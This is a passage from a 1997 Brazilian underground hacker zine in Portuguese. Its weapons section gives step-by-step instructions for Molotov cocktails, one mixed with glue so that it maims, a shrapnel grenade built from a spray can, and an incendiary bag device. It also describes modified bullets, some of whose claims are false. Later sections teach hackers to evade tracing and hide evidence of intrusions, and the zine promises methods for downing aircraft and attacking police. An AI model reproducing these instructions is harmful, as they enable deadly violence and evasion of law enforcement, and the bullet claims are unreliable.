	agua pega fogo.. este e muito legal para dar um anel para alguem =)
	Pode ser conseguido em casa d quimica.

	Dinamite: Dificil de conseguir e caro. 2 bananas derrubam uma casa
	muito facil. Tente comprar d pedreiros e caras q trampam em constru-
	coes.
	
  
  3.0.- Bombas

	A maioria das Bombas que irei descrever, eu ja testei durante um bom
  tempo.

  
  3.1.- Coquetel Molotov I     

	Para um bom coquetel molotov coloqe em uma garrafa de vidro gasolina
  o suficiente para encher ate a boca tampe com um pano e de uma virada para
  a gasolina umedecer o pano. pronto sirva quente.

	Pegue a garrafa e  coloque fogo no pano, no tenha pressa, a garrafa
  fica acesa sem explodir. Depois lance a garrafa sobre o alvo, a gasolina c
  espalha para todos os lados junto com muito fogo.

  
  3.2.- Coquetel Molotov II

	Faca o mesmo que foi feito antes, so qe em vez de gasolina pura mis-
  ture 25% de cola de sapateiro e agite bem. Quando explodir joga gasolina e
  cola em chames para todos os lados e quando pega na pele de um infeliz es-
  te perde ate a terceira camada de sua pele por causa da cola.

  
  3.3.- Granada com lata de Spray

	Pegue uma lata de spray grande e abra-a com muito cuidado para q ela
  nao rasgue... tire a  tampa com uma  chave de fendas fina. Lave a lata com
  detergente e deixe secar.
  Coloque  cola de sapateiro nas paredes internas da lata, espalhando bem em
  todos os lados.
  Pegue pedras  de mais ou menos 7mm de tamanho  cada e jogue dentro da lata
  virando faca as pedras colarem em todos os lados. Pegue areia fina e jogue
  dentro da lata, e va virando a lata para espalhar bem.
  Pegue um  rolo de papel higienico, trezentas  gramas de farinha de trigo e
  um tubo de cola tenaz. Pegue uma bacia e coloque agua, misture o papel aos
  poucos, ate   formar     uma massa... acrescente   a farinha e a     cola.
  Com esta massa cubra tudo o interior  da lata, nao  esquecendo a tampinha.
  Deixe secar por 2 dias.
  Preencha  a lata com polvora e coloque a tampa que deve estar pronta sem o
  caninho de plastico. Feche a lata com cuidado.
  Compre um pavio rapido nas casas d Fogos, coloque-o pelo orificio da tampa
  da lata em seguida pegue um arame grosso e amarre toda a lata com ele.
	
	Ao explodir a lata joga as pedras p/ todos os lados como uma granada
  e  a areia vai junto. Se as pedras nao matarem a pessoa, a areia a deixara
  cega.
  Voce pode usar os detonadores nesta granada.


  3.4.- Explosoes, fazendo muito barulho

	Compre  um rojao de 12 tiros e amarre a sua boca, dobre-a na direcao
  em  que se segura e a parte  em que se  segura vire  para o lado  da boca.
  Conecte um detonador e pronto.


  3.5.- Explosao com chamas

	Amarre a Bomba acima com fita crepe em uma garrafa com gasolina.


  3.6.- Incendiaria.

	Coloque um  litro de gasolina em  um saco plastico. Em um outro saco
  coloque um tubo de polvora, e neste mesmo saco a terminacao do fio de sol-
  dador de um detonador.
  Coloque este saco em cima do saco de gasolina.
  Pronto, quando o detonador acionar, a polvora se inflamara, abrindo um bu-
  raco no saco de gasolina e incendiando a gasolina.
  Use em um lugar seco e se quiser coloque mais  sacos em volta do primeiro.


  4.0.- Curiosidades, bala de 38 com tracejador

	Pegue  uma bala DUM-DUM, encha  o orificio com  mercurio e tampe com
  cera de vela. Quando voce atirar com a bala, o atrito c/ o ar derretera  a
  cera e inflamara o mercurio.
  Tenho um primo PM em SP, e ele adorou atirar com estas balas, o impacto e-
  mocional e muito maior. E se voce nao matar a pessoa com o tiro, ela morre
  de envenenamento por mercurio.

  
  4.1.- Bala de 45 Anti-Blindagem

	Faca a bala em aco-inox, e faca uma ponteira d Uranio Exaurido. Esta
  bala consegue atravessar uma parede de concreto muito grassa como se fosse
  de manteiga.

  
  4.3.- Bala incendiaria

	Faca uma  bala com uma capsula de magnesio em sua base. O choque ira
  incendiar o magnesio gerando uma bolha de 30 cm e 6000 graus.

  
  *** No proximo numero *********

  =*) Aviao da TAM - Derrube o seu tambem! 10 maneiras de derrubar um aviao!

  =*) Armadilhas explosivas.

  =*) Descarrilhando um trem.

  =*) Fazendo uma bazuca de Canos.

  =*) Atacando a policia.

  =*) Atacando o Exercito.


  Mail-me em mos@thepentagon.com
  subject: H3RTCQR, DESTRUICAO   =)

  Aviso as bestas: H3RTCQR LE-SE 'rerte cequer'
  Fodam-se!
								   H3rtcqr
 

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 23 -

				-------------
				- Conselhos -
				-------------
 
	Se conselho fosse bom, se venderia, nao daria de graca... mas... ok.
  ok.. entao foda-se, isso nao e um conselho... certo? C nao quiser ler q c
  foda.. pelo menos serviu pra aumentar o tamanho do zine :P
  
       E' paranoia... todo mundo sabe que no Brasil a justica  nao funciona,
  ainda mais quando o assunto envolve computacao... 99% da policia, simples-
  mente acha que um computador e uma televisao com teclado.. alguns ja viram
  um na novela da Dara, e tal... mas.. 
  No entanto, toda regra tem sua excessao, e existem alguns putos q realmen-
  te sabem da coisa.. no pais ja c instalou a nova moda de profissionais que
  trabalham fornecendo seguranca d informacoes a empresas.. existem realmen-
  te alguns bons, mas a grande maioria nao tem um conhecimento maior do qe o
  dos frequentadores do #hackers.
  
  Lembra-se dakele arquivinho q vc apagou no mes passado? Bem.. c for preci-
  so eles vao recupera-lo... a questao d ser ou nao legal invadir um sistema
  no Brasil, depende basicamente  de quem e o dono do sistema... tente fazer
  isso com uma grande multi-nacional... e veja oq acontece se vc for pego :P
  Alem do mais... ter a reputacao de "hacker" ou similar, nao e bom. Vc pode
  achar q e legal ser conhecido como o fera, mas isso nao e bom... a nao ser
  q vc seja conhecido por algo legal que tenha feito, mas ser famoso por ter
  hackeado X sistemas, isso nao e bom. Nao vou citar nomes, mas vcs nao ima-
  ginam os empregos qe alguns conhecidos perderam, por um certo dia ter tido
  um certa fama... E claro, existem empresas q valorizam isso... sei la..
  Ficar d bico fechado as vezes ajuda...

  -/-/-/-/-/-/-/-/-/-

   - Cada um  tem sua opiniao, no entanto, eu recomendo  que voce nao troque
     senhas, nem as divulgue.. isso apenas torna mais facil voce perde-la.
     Alem disso, o admin pode resolver tracar os lamers  q tao usando a con-
     ta, e nesse bolo vce se fode junto. Se vc quer  ter um  sistema "na SUA
     mao", guarde a senha pra si mesmo.
     No  grupo nos compartilhamos de tudo, no entanto, fica entre um circulo
     fechado.. e diferente d q ir trocar contas no #hackers...

   - Troque experiencia ao inves de senhas. E melhor vc explicar como conse-
     guiu, de que simplesmente dar a senha, ou trocar com alguem. :P
   
   - LAMERS! Nao destruam um sistema, a nao ser q vc tenha um bom motivo pra
     isso. Foder com um computador, mostra estupides. Alem disso, se vce al-
     tera um sistema e o trava, dara muito mais dor d cabeca p/ o admin do q
     simplesmente destrui-lo. Portanto, nao a motivo!
     Alem disso, se vc for pego, pode ser condenado por destruicao: ou seja,
     e melhor entrar.. d q destruir..

   - Use outdials! Eles iram fazer sua conta  telefonica baixar, e sera mais
     foda de tracarem sua conecxao. Tente tambem usar gateways diferentes...
     Outra coisa.. outdials sao como fontes d ouro.. foda d achar, entao, se
     voce encontrar um, GUARDE-O!!!!! Nada de ficar por ai fodendo com o es-
     kema, isso e lameh!
   
   - Se o admin do sistema aparecer, e comecar a falar com vc, nao o insulte
     ou humilhe, tente fazer 'amizade', impressiona-lo, mostrar as fraquezas
     do sistema, ... As vezes pode mesmo ser outro hacker.. e muito raro ver
     um admin interrompendo um usuario pra conversar.. 

   - Criptografe as coisas mais importantes... use algo decente ok ? Nada de
    usar o PKZIP com o '/s'!! O PGP ate q resiste bem.. use-o varias vezes..
    um cima.. .

   - Uma boia ideia e manter as coisas mais importantes na casa de um amigo, 
     que d preferencia nao saque nada d computadores.

   - Mantenha seu material: computador, disquetes, papeis, anotacoes, somen-
     te em  um local, e q apenas vc saiba. Se voce tiver qe jogar fora algo,
     destrua-o antes.. nada d FORMAT ou rasgar um papel.. queime, amasse...
     vc nunca sabe se alguem ira revirar seu lixo.
     Alem do  mais, se vc tiver qe se livrar d algo, sera mais facil se esse
     'algo' estiver em apenas um local, e nao expalhado por toda a sua casa.

   - Tente nao ser claro e deixar na sua escrivaninha um papel do tipo "SE-
     NHA pra MANDIC".. :P
   
   - Evite falar em publico sobre os sistemas que voce invadiu, se o  fizer,
     evite citar nomes ou provas.

   - Guarde com cuidado os nomes reais e fones d pessoas/hackers que vce co-
     nheca... seus "colegas" nao devem se fuder se vc for burro. Alem disso,
     isso pode agravar sua  condicao pois demonstra que voce tem relacao com
     outro alguem q pode estar tambem se fudendo.

   - Evite manter 'numeros especiais' para sistemas, na sua escrivaninha, ou
     colado no seu monitor... alguem pode t prejudicar..

								   Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 24 -

			    ----------------------
			    - Editors final note -
			    ----------------------

  Mais alguns meses d invasoes e conhecimento estao a nossa frente. Espero q
  esse  tempo seja  bom pra todos  as pessoas relacionadas ao underground...
  Nessa edicao do  zine nos falamos muito sobre phreak e  deixamos o hacking
  meio de lado, mas nao se preocupem... novas coisas estao por vir.. ainda a
  muito  a ser falado, muitos  hosts a serem  invadidos, e muitas verdades a
  serem contadas... mesmo porq.. de uma forma ou d outra, a linha que separa
  ambos e muito  fina, e de um jeito ou de outro, elas  acabam por se inter-
  relacionar...
  
  Quero novamente agradecer aos  membros que contribuiram com os textos, e a
  todos  os que   colaboraram  conosco, enviando  textos  e     informacoes.
  E para todos os hackers/virus/phreakers e lamers ai fora: Obrigado por te-
  rem lido esse zine! 
  Tambem  queremos agradecer aos lamers da SERASA, Governo, e outros que nao
  queremos mencionar, por  terem lido esse texto com tanto carinho e dedica-
  cao. Precisamos d mais fas dedicados como vcs!!
  
  See Ya on IRC.

								   Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 25 -

				--------------
				- Disclaimer -
				--------------
							   ,       ,
	O material aqui contido nao tem o objetivo de     /(       )`
  estimular hacking ou phreaking, e sim de aumentar o     \ \__   / |
  caos tecnologico e a destruicao dos idiotas qe con-    /- _ `-/  '
  tribuem para nos atolar ainda mais na merda.          (/\/ \ \   /\
							/ /   | `    \
  Esse zine tem o proposito unico d divulgar informa-   O O   )      |
  tecnicas, e fatos relacionados ao underground d nos-  `-^--'`<    '
  sa patria mae gentil, Brasil.                         (_.)  _ )   /
							`.___/`    /
  Contribuicoes, duvidas, merdas ou recla-               `-----' /
  macoes, de-nos um reply em:              <----.     __ / __   \
					   <----|====O)))==) \)/======
	'mos@thepentagon.com'              <----'    `--' `.__,' \
							|         |
							 \       /
						     ____( (_   / \______
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-=[ ATENCAO ]=-<<<<< ,'  ,----'   | <<<<<< \ <
						   `--{__________)        \/
 
 TODO O MATERIAL CONTIDO NESSE DOCUMENTO E PROTEGIDO/PATENTEADO (c) 1997 POR
 M.O.S. O USO DESSE DOCUMENTO SEM PERMISSAO DE SEUS DEVIDOS AUTORES E EXTRI-
 TAMENTE PROIBIDO.
 UNDERGROUND BOARDS E SITES ACEITOS PELA M.O.S. ESTAO PERMITIDOS A USAR TODO
 E QUALQUER DUCUMENTO PRODUZIDO E/OU DISTRIBUIDO PELO GRUPO.

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-=[ ATENCAO ]=-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
 

  Copyright(c) 1997, Masters Of Shadow. All rights reserved.
  Feel free to steel, fuck, change, copy or lamarize everything you want.

							   [MOS]
  "Seguranca e algo q existe apenas                       ݳ޺ݳ޳ݳ
	    nos olhos d quem nao a compreende."           ݳ޺ݳ޳ݳ
							  01-213-376-0111

-EOF
